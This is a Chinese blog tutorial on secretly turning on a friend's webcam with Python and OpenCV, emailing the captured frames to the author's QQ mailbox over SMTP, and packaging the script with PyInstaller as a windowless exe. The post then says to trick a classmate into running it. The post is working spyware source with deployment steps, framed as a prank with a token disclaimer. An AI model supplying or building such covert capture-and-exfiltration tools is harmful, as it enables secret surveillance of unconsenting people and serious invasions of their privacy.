用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
python self,cls,decorator的理解
Jul 13 Python
python 多进程通信模块的简单实现
Feb 20 Python
Python MD5加密实例详解
Aug 02 Python
Python获取CPU、内存使用率以及网络使用状态代码
Feb 08 Python
python实现求两个字符串的最长公共子串方法
Jul 20 Python
浅谈python函数调用返回两个或多个变量的方法
Jan 23 Python
PyTorch搭建多项式回归模型(三)
May 22 Python
python写日志文件操作类与应用示例
Jul 01 Python
python 实现多维数组转向量
Nov 30 Python
Jupyter Notebook远程登录及密码设置操作
Apr 10 Python
安装pyinstaller遇到的各种问题(小结)
Nov 20 Python
python游戏开发之pygame实现接球小游戏
Apr 22 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
初学PHP的朋友 经常问的一些问题。不断更新
2011/08/11 PHP
PHP实现广度优先搜索算法(BFS,Broad First Search)详解
2017/09/16 PHP
帮助避免错误的Javascript陷阱清单
2009/05/31 Javascript
Asp.net下利用Jquery Ajax实现用户注册检测(验证用户名是否存)
2010/09/12 Javascript
JQuery扩展插件Validate 5添加自定义验证方法
2011/09/05 Javascript
各浏览器中querySelector和querySelectorAll的实现差异分析
2012/05/23 Javascript
JS实现图片翻书效果示例代码
2013/09/09 Javascript
js跨浏览器实现将字符串转化为xml对象的方法
2013/09/25 Javascript
jquery 循环显示div的示例代码
2013/10/18 Javascript
jquery map方法使用示例
2014/04/23 Javascript
无限树Jquery插件zTree的常用功能特性总结
2014/09/11 Javascript
Javascript中Array.prototype.map()详解
2014/10/22 Javascript
JavaScript 动态加载脚本和样式的方法
2015/04/13 Javascript
AngularJS学习笔记之依赖注入详解
2016/05/16 Javascript
jquery插件方式实现table查询功能的简单实例
2016/06/06 Javascript
Vue.js使用v-show和v-if的注意事项
2016/12/13 Javascript
js下拉菜单生成器dropMenu使用方法详解
2017/08/01 Javascript
JavaScript实现的简单加密解密操作示例
2018/06/01 Javascript
JS合并两个数组的3种方法详解
2019/10/24 Javascript
vue element自定义表单验证请求后端接口验证
2019/12/11 Javascript
js实现带搜索功能的下拉框
2020/01/11 Javascript
Python标准库之Sys模块使用详解
2015/05/23 Python
Python matplotlib的使用并自定义colormap的方法
2018/12/13 Python
解决Pytorch 加载训练好的模型 遇到的error问题
2020/01/10 Python
Python-openCV读RGB通道图实例
2020/01/17 Python
python GUI库图形界面开发之PyQt5打印控件QPrinter详细使用方法与实例
2020/02/28 Python
Python定时任务框架APScheduler原理及常用代码
2020/10/05 Python
俄罗斯极限运动网上商店:Board Shop №1
2020/12/18 全球购物
机电专业毕业生推荐信
2013/11/10 职场文书
应聘护士求职信
2014/07/21 职场文书
镇创先争优活动总结
2014/08/28 职场文书
四风自我剖析材料
2014/09/30 职场文书
四川省传达学习贯彻党的群众路线教育实践活动总结大会精神新闻稿
2014/10/26 职场文书
家长对孩子的寄语
2015/02/26 职场文书
最新的离婚协议书范本!
2019/07/02 职场文书
python manim实现排序算法动画示例
2022/08/14 Python